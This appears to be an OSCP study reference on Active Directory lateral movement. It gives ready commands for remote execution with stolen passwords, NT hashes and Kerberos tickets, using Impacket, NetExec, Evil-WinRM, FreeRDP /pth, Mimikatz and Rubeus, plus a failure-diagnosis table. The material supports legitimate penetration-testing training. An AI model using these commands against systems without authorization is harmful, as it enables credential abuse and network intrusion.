OSCP Reference

9.6.5 Check which other hosts your current identity can access Lateral Movement

← Stage index | Identity transitions | Pivoting | AD cheatsheet | Strategy map | Study methods: Check which other hosts your current identity can access

Selection rule: credential type → accepted authentication protocol → reachable service → service-specific authorization → execution/session effect.

Exit: verify the destination hostname, represented identity, token/rights and network state; then re-enumerate credentials, domain relationships, sessions and routes.

9.6.5.1 Choose by credential and service

MaterialCompatible starting pathsImportant boundary
PasswordSMB/SCM, WMI/DCOM, WinRM/WinRS, RDPCorrect password does not grant the required logon or execution right
NT hashNTLM-capable SMB/WMI/WinRM; RDP only through Restricted Admin where supportedNet-NTLM and DCC2 are not reusable NT hashes
TGT/ccacheKerberos-capable tool using target FQDN/SPNTicket identity, realm, lifetime, DNS and KDC route must match
TGSOnly the named SERVICE/HOST and compatible clientA CIFS ticket does not authorize WinRM, WMI or RDP
AES/NT long-term keyRequest a TGT, then use KerberosRC4/NT-key requests can fail where RC4 is disabled
Local-account password/hashNTLM or RDP in the target's local account contextRemote UAC/account restrictions commonly filter non-RID-500 local administrators
Reachable serviceCommon execution/access mechanismsUsual authorization
SMB 445 + SCM/RPCPsExec, SMBExec, service creationAdministrative share plus SCM/service rights
RPC endpoint mapper 135 + dynamic RPC; often SMB for outputWMIExec, native CIM/WMI, DCOMRemote WMI/DCOM rights, commonly an effective administrator token
Task Scheduler RPC plus SMB outputATExecRemote task creation and administrative output access
WinRM 5985/5986WinRS, PowerShell remoting, Evil-WinRMEnabled endpoint and endpoint/session authorization
RDP 3389FreeRDP, MSTSCRemote-interactive logon right; Restricted Admin requires administrator access

9.6.5.2 Verify the remote service is reachable from your actual source Preflight from the actual source

Directly routed source:

nmap -Pn -sT -sV -p 135,139,445,3389,5985,5986 TARGET -oN movement-preflight.txt
getent hosts TARGET_HOST
date -u

Windows source:

Resolve-DnsName TARGET_HOST
Test-NetConnection TARGET_HOST -Port 445
Test-NetConnection TARGET_HOST -Port 5985
Test-NetConnection TARGET_HOST -Port 3389
w32tm /query /status

Port 135 alone does not prove WMI/DCOM viability because RPC commonly negotiates a dynamic high port. When the destination is reachable only through a pivot, perform these checks through the established Block 13 route and respect the client/proxy's transport limits.

Record:

SOURCE POSITION -> TARGET FQDN/IP -> ROUTE -> SERVICE/PORT
-> CREDENTIAL TYPE -> LOCAL/DOMAIN IDENTITY -> EXPECTED RIGHT
-> CHOSEN METHOD -> EXPECTED EFFECT

9.6.5.3 Validate authentication separately from execution

NetExec can classify a selected SMB credential:

9.6.5.3.1 Domain password

# Domain password
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD'

9.6.5.3.2 Domain NT hash

# Domain NT hash
nxc smb TARGET -d DOMAIN -u USER -H NT_HASH

9.6.5.3.3 Target-local account

# Target-local account
nxc smb TARGET -u Administrator -H NT_HASH --local-auth

9.6.5.3.4 Prove only share access

# Prove only share access
nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' --shares

A successful login proves SMB authentication. (Pwn3d!) is NetExec's SMB administrative-context indicator, not proof that WinRM, RDP, WMI or every SMB execution method will succeed.

For one justified execution proof:

nxc smb TARGET -d DOMAIN -u USER -p 'PASSWORD' -x "hostname & whoami" --exec-method wmiexec

Current NetExec can select wmiexec, atexec or smbexec; without an explicit method it may fail over between them. Use a forced method when diagnosing prerequisites so the result remains attributable.

9.6.5.4 Execute on a reachable host through verified SMB and service rights SMB and service-control execution

Verify the selected service identity, effective control and required trigger; reachability alone is insufficient.

9.6.5.4.1 Execute through a reachable service-control interface with administrative rights Impacket PsExec

9.6.5.4.1.1 Authenticate with a known password in the correct account scope Password

# Password
impacket-psexec 'DOMAIN/USER:PASSWORD@TARGET'

9.6.5.4.1.2 Authenticate with the account's NT hash where supported NT hash / Pass-the-Hash

# NT hash / Pass-the-Hash
impacket-psexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Need: SMB 445/139, writable administrative share and Service Control Manager rights. Impacket uploads a RemCom service binary, creates/starts a service and communicates over named pipes. Verify the returned identity; the service context is commonly SYSTEM.

Kerberos cache:

export KRB5CCNAME="$PWD/USER.ccache"
impacket-psexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

The target parameter uses the hostname matching the CIFS/HOST SPN; -target-ip separates connection routing from Kerberos naming.

9.6.5.4.2 Execute through a reachable service-control interface with administrative rights Sysinternals PsExec from Windows

PsExec64.exe -accepteula \\TARGET_HOST -u DOMAIN\USER -p PASSWORD cmd.exe

The official PsExec binary is not built into Windows. It requires remote administrative access and creates the PSEXESVC service/artifacts. Avoid putting real passwords in retained shell history; an existing authorized network credential context is preferable.

9.6.5.4.3 Execute through service creation with a supported output channel SMBExec

impacket-smbexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-smbexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

SMBExec creates temporary services whose command lines redirect output through a share. It does not use the same uploaded RemCom binary as PsExec, but it still requires SCM/service rights and produces substantial service/event artifacts.

9.6.5.4.3.1 Kerberos and alternate output modes

9.6.5.4.3.2 export KRB5CCNAME="$PWD/USER.ccache"

export KRB5CCNAME="$PWD/USER.ccache"
impacket-smbexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

9.6.5.4.3.3 SHARE is default; SERVER starts a local SMB server and needs permission to bind locally.

# SHARE is default; SERVER starts a local SMB server and needs permission to bind locally.
impacket-smbexec -mode SHARE -share C$ 'DOMAIN/USER:PASSWORD@TARGET'

9.6.5.4.4 Execute through the remote Task Scheduler interface with sufficient rights ATExec

impacket-atexec 'DOMAIN/USER:PASSWORD@TARGET_HOST' "cmd.exe /c hostname & whoami"
impacket-atexec -hashes :NT_HASH 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

ATExec creates and deletes a scheduled task and normally retrieves output from ADMIN$\Temp. It is a one-shot command mechanism, not an interactive shell; task-scheduler RPC and administrative share access must both work.

Kerberos:

export KRB5CCNAME="$PWD/USER.ccache"
impacket-atexec -k -no-pass -dc-ip DC_IP 'DOMAIN/USER@TARGET_HOST' "cmd.exe /c hostname & whoami"

9.6.5.5 Execute on a reachable host through WMI or DCOM rights WMI and DCOM execution

9.6.5.5.1 Execute through WMI with accepted credentials and DCOM access Impacket WMIExec

impacket-wmiexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-wmiexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

WMIExec creates processes through WMI/DCOM. Its normal output channel uses SMB and defaults to ADMIN$; therefore a WMI process may run even when output retrieval fails. -nooutput or -silentcommand changes that evidence channel.

Kerberos with separate name and route:

export KRB5CCNAME="$PWD/USER.ccache"
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'
9.6.5.5.1.1 One command, no SMB output
impacket-wmiexec -nooutput 'DOMAIN/USER:PASSWORD@TARGET' "cmd.exe /c echo MOVEMENT_OK > C:\Windows\Temp\movement-proof.txt"

Verify the harmless artifact through an independently authorized channel. No returned stdout is expected.

9.6.5.5.2 Execute through CIM when the remote WMI permissions permit it Native PowerShell CIM over DCOM

$Credential = Get-Credential 'DOMAIN\USER'
$Options = New-CimSessionOption -Protocol Dcom
$Session = New-CimSession -ComputerName TARGET_HOST -Credential $Credential -SessionOption $Options

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
  CommandLine = 'cmd.exe /c hostname > C:\Windows\Temp\movement-proof.txt'
}

Remove-CimSession $Session

ReturnValue = 0 and a process ID confirm process creation, not its final effect. WMI-created processes run in session 0; GUI programs will not appear on an interactive desktop.

9.6.5.5.3 Execute through a supported remote MMC activation path DCOM MMC method

Current Windows token:

$Type = [type]::GetTypeFromProgID('MMC20.Application.1','TARGET_HOST')
$Object = [Activator]::CreateInstance($Type)
$Object.Document.ActiveView.ExecuteShellCommand(
  'cmd.exe',
  $null,
  '/c hostname > C:\Windows\Temp\movement-proof.txt',
  '7'
)

Impacket with password or NT hash:

impacket-dcomexec 'DOMAIN/USER:PASSWORD@TARGET'
impacket-dcomexec -hashes :NT_HASH 'DOMAIN/USER@TARGET'

Current Impacket dcomexec explicitly rejects Kerberos for its supported MMC/Shell DCOM objects because they do not accept the required HOST ticket. Use wmiexec -k when Kerberos command execution is required. DCOM class availability, RPC reachability and launch/access permissions vary.

9.6.5.6 Check remote session access with the available identity WinRM, WinRS and PowerShell remoting

9.6.5.6.1 Open a remote command session through verified WinRM rights Evil-WinRM

9.6.5.6.1.1 Authenticate with a known password using a supported prompt Password; omit -p to prompt where supported

# Password; omit -p to prompt where supported
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD'

9.6.5.6.1.2 Use or recover a password from an identified NT hash NT hash

# NT hash
evil-winrm -i TARGET_HOST -u USER -H NT_HASH

9.6.5.6.1.3 Connect to the verified remote-management HTTPS listener HTTPS listener

# HTTPS listener
evil-winrm -i TARGET_HOST -u USER -p 'PASSWORD' -S -P 5986

Current Evil-WinRM ticket-file support:

evil-winrm -i TARGET_FQDN -r DOMAIN -K USER.ccache --spn HTTP

Need: reachable 5985/5986, an enabled WinRM/PowerShell endpoint and endpoint authorization. The identity is commonly an administrator or a member of the applicable remote-management group, but endpoint SDDL/policy is decisive. Kerberos requires the FQDN/SPN, realm/KDC configuration and a compatible ticket.

9.6.5.6.2 Open a remote command session through verified WinRM rights Native WinRS

winrs /r:TARGET_HOST /u:DOMAIN\USER /p:PASSWORD "cmd /c hostname & whoami"

To avoid retaining a password on the command line, use the current authorized Windows credential context where possible:

winrs /r:TARGET_HOST "cmd /c hostname & whoami"

WinRS uses WinRM. A non-administrator can require /noprofile depending on endpoint configuration. /allowdelegate affects onward credential use and is not a default fix for the double-hop problem.

9.6.5.6.3 Open a remote command session through verified WinRM rights PowerShell remoting

Test-WSMan TARGET_HOST
$Credential = Get-Credential 'DOMAIN\USER'

Invoke-Command -ComputerName TARGET_HOST -Credential $Credential -ScriptBlock {
  hostname
  whoami /all
}

$Session = New-PSSession -ComputerName TARGET_HOST -Credential $Credential
Enter-PSSession -Session $Session

A hostname normally supports Negotiate/Kerberos in a domain. An IP address requires explicit credentials and generally HTTPS or a tightly scoped TrustedHosts configuration. Do not weaken global TrustedHosts merely to hide DNS/SPN mistakes.

9.6.5.7 Obtain an authorized interactive desktop session RDP

Check the installed binary name:

command -v xfreerdp3 || command -v xfreerdp

Password:

xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /p:'PASSWORD' /cert:ignore /dynamic-resolution +clipboard

Older packages may expose the same syntax through xfreerdp.

NT hash:

xfreerdp3 /v:TARGET_HOST /d:DOMAIN /u:USER /pth:NT_HASH /cert:ignore /dynamic-resolution

FreeRDP's /pth uses Restricted Admin mode. The target must support/permit that mode and the identity must be an administrator; ordinary Remote Desktop Users membership is not sufficient for Restricted Admin. Password-based RDP instead needs the Remote Desktop service, NLA compatibility and the effective “Allow log on through Remote Desktop Services” right without a deny override.

Native client:

mstsc.exe /v:TARGET_HOST
mstsc.exe /restrictedAdmin /v:TARGET_HOST

Ordinary RDP can place reusable user credentials in the destination's LSASS. Restricted Admin avoids sending those reusable credentials but prevents ordinary onward access as that user; treat the resulting session's network identity separately.

9.6.5.8 Pass-the-Hash, Overpass-the-Hash and Pass-the-Ticket

9.6.5.8.1 Authenticate with an NT hash where the service supports it Pass-the-Hash

NT HASH -> NTLM CHALLENGE/RESPONSE -> TARGET SERVICE

PtH requires an NTLM-capable service, a valid account context and the service-specific right. SMB share access may work without administrative execution; PsExec/WMIExec/SMBExec usually need administrative rights. Remote UAC commonly filters non-built-in local administrators. Domain accounts in the target Administrators group traditionally receive a full remote token, but newer Administrator Protection policy can change that result—trust the observed target token and method-specific authorization.

9.6.5.8.2 Obtain a Kerberos ticket using an available account key Overpass-the-Hash / key-to-ticket

Mimikatz network-credential context:

sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:NT_HASH /run:powershell.exe

Rubeus TGT request:

Rubeus.exe asktgt /user:USER /domain:DOMAIN /rc4:NT_HASH /dc:DC_HOST /ptt
klist

AES alternative:

Rubeus.exe asktgt /user:USER /domain:DOMAIN /aes256:AES256_KEY /dc:DC_HOST /ptt

Trigger a Kerberos service request with the hostname, then inspect:

dir \\TARGET_HOST\C$
klist

In a Mimikatz sekurlsa::pth process, whoami can still show the original local process token while network authentication uses the supplied identity. Validate the ticket's client and the remote result rather than treating local whoami as the network identity.

9.6.5.8.3 Authenticate with an available ticket in the correct logon context Pass-the-Ticket

Windows:

Rubeus.exe ptt /ticket:ticket.kirbi
klist
kerberos::ptt ticket.kirbi

Linux:

export KRB5CCNAME="$PWD/ticket.ccache"
klist
impacket-wmiexec -k -no-pass -dc-ip DC_IP -target-ip TARGET_IP 'DOMAIN/USER@TARGET_HOST'

A TGS must name the selected service/hostname. A TGT can request a suitable TGS only while valid and when the KDC is reachable. Ticket import is not lateral movement until the destination accepts it and produces the intended authorized effect.

9.6.5.9 Resolve account scope and remote token restrictions Local versus domain identity and remote UAC

DOMAIN\USER  -> domain identity; evaluate target-local group/right
TARGET\USER  -> SAM identity on that target
./USER        -> tool-specific local-account selection

Common failure pattern:

  1. a local account authenticates over SMB;
  2. Windows issues a filtered remote token;
  3. ADMIN$, SCM or WMI administrative operations fail.

Do not “fix” this by changing LocalAccountTokenFilterPolicy during an attack workflow. Use a method already permitted by the target's configuration, the built-in Administrator where legitimately obtained and applicable, RDP if authorized, or another mapped identity.

9.6.5.10 Diagnose remote execution without visible output or onward access Output channels, session 0 and double hop

Remote process creation, stdout retrieval and an interactive shell are separate states:

AUTHENTICATED
-> REMOTE OPERATION AUTHORIZED
-> PROCESS/TASK/SERVICE CREATED
-> COMMAND EFFECT OCCURRED
-> OUTPUT RETURNED OR CALLBACK CONNECTED
-> USABLE SESSION

A WinRM/PowerShell session on HOST_A may not possess delegable credentials for HOST_B. That “double hop” is a credential-context problem, not proof that HOST_B or the password is wrong. Prefer executing from the source that actually holds the credential/ticket rather than enabling broad delegation.

9.6.5.11 Choose the next check from the failure you observed Failure router

EvidenceLayerNext decision
Timeout/refusedRoute, firewall or listenerVerify from the actual source and account for RPC dynamic ports
SMB login succeeds; ADMIN$ deniedShare/admin token/UACDistinguish share authentication from effective administrator context
(Pwn3d!) but forced method failsMethod-specific SCM/WMI/task prerequisiteTest only that method's RPC/service right and side effects
STATUS_LOGON_FAILURECredential/domain/authenticationCorrect local/domain context, artifact type and protocol
STATUS_ACCOUNT_RESTRICTION or logon-type denialAccount policy/rightCheck permitted logon type and deny overrides
RPC server unavailable135/dynamic RPC/firewall/serviceValidate endpoint mapper and negotiated port from source
WMI return value nonzeroProcess creation request failedDecode return value; command effect is unconfirmed
Process succeeds; output missingOutput channel, share or session-0 behaviorUse a bounded file/side-effect proof or compatible output option
WinRM listener responds; shell deniedEndpoint SDDL/group/logon/UAC policyValidate endpoint authorization, not merely credentials
RDP NLA succeeds; logon deniedRemote-interactive right or deny policyVerify Remote Desktop Users/Administrators and user-right assignment
RDP /pth deniedRestricted Admin disabled/unsupported or user not adminDo not equate ordinary RDP authorization with Restricted Admin
KDC_ERR_S_PRINCIPAL_UNKNOWNHostname/SPN/realmUse FQDN matching the ticket and correct realm
KRB_AP_ERR_MODIFIEDSPN account/key mismatchConfirm SPN owner, target alias and ticket key
Clock-skew errorTimeRepair time before credential changes
Kerberos tool uses IP and falls back/failsName/SPN selectionSeparate TARGET_HOST from TARGET_IP
First hop works; second hop deniedCredential delegation/double hopMove execution to credential-holding source or use an explicit ticket

9.6.5.12 Verify the new host and identity, then re-enumerate After movement

hostname
whoami /all
ipconfig /all
route print
netstat -ano
klist

Re-enumerate:

  1. local privilege and accessible credential sources;
  2. domain groups, ACLs, shares and host rights under the new identity;
  3. logged-on sessions and service accounts;
  4. interfaces, routes, DNS, listeners and internal reachability;
  5. the next evidence-backed host/identity transition.

Do not overwrite the earlier state. Record the source host, credential form, authentication protocol, execution method, returned identity and side effects.

9.6.5.13 Tooling for this section

ToolChoose it forNeedsBaselineDecisive outputFailure cue
Nmap/Test-NetConnectionService reachabilityActual source routeSection 2Reachable named serviceDirect test bypasses/ignores the pivot
NetExecSelected credential/admin-context validationSupported protocol and credentialSection 3Exact identity plus method-specific admin cueAuth success without execution right
Impacket PsExecInteractive SMB/SCM executionAdmin share + SCMSection 4Remote shell/verified identityShare/service creation denied
Impacket SMBExecCommand shell without RemCom uploadSCM + output routeSection 4Command outputService/output share failure
Impacket ATExecOne-shot scheduled taskTask RPC + ADMIN$ outputSection 4Retrieved command outputTask created but output unavailable
Impacket WMIExecWMI process creation with password/hash/ticketRPC/DCOM; SMB unless no-outputSection 5Shell/output or verified effectRPC works but share/output fails
Impacket DCOMExecNTLM password/hash DCOM objectsRPC/DCOM and supported objectSection 5Verified command effectKerberos deliberately unsupported
Evil-WinRMInteractive WinRM/PSRPEndpoint authorizationSection 6Remote PowerShell promptListener present but endpoint rejects
WinRS/PowerShell remotingBuilt-in Windows managementWinRM and token/credentialSection 6Remote hostname/identityIP trust or double-hop issue
FreeRDP/MSTSCGUI/remote-interactive sessionRDP right/NLA; admin for Restricted AdminSection 7Usable desktop with verified identityAuth accepted but logon type denied
Rubeus/Mimikatz/klistKey/ticket contextCorrect key/ticket/logon sessionSection 8Expected TGT/TGS client and serviceLocal token confused with network identity

Package names vary: current Kali-style Impacket commands commonly use the impacket- prefix, and FreeRDP 3 packages may expose xfreerdp3 while older packages use xfreerdp. Inspect local -h output before use.

9.6.5.14 winexe — Samba-side service execution alternative

Verify the selected service identity, effective control and required trigger; reachability alone is insufficient.

Use when the chosen account has working SMB authentication and effective remote service-control/administrative rights. This is a service-execution transport, not a credential bypass.

# Prompts for the accepted identity's password
winexe -U 'DOMAIN/USER' //TARGET 'cmd.exe /c whoami'

Read: verify the returned identity and destination. Access denied after a successful login points to authorization/UAC/service-control conditions; it does not justify guessing more passwords. Service creation and resulting artifacts require the same cleanup discipline as the other SMB execution methods. Prefer the existing supported Impacket/NetExec method when this legacy client is unavailable or incompatible.

Sources: upstream 1.

9.6.5.15 Sources


Top of document · Reference home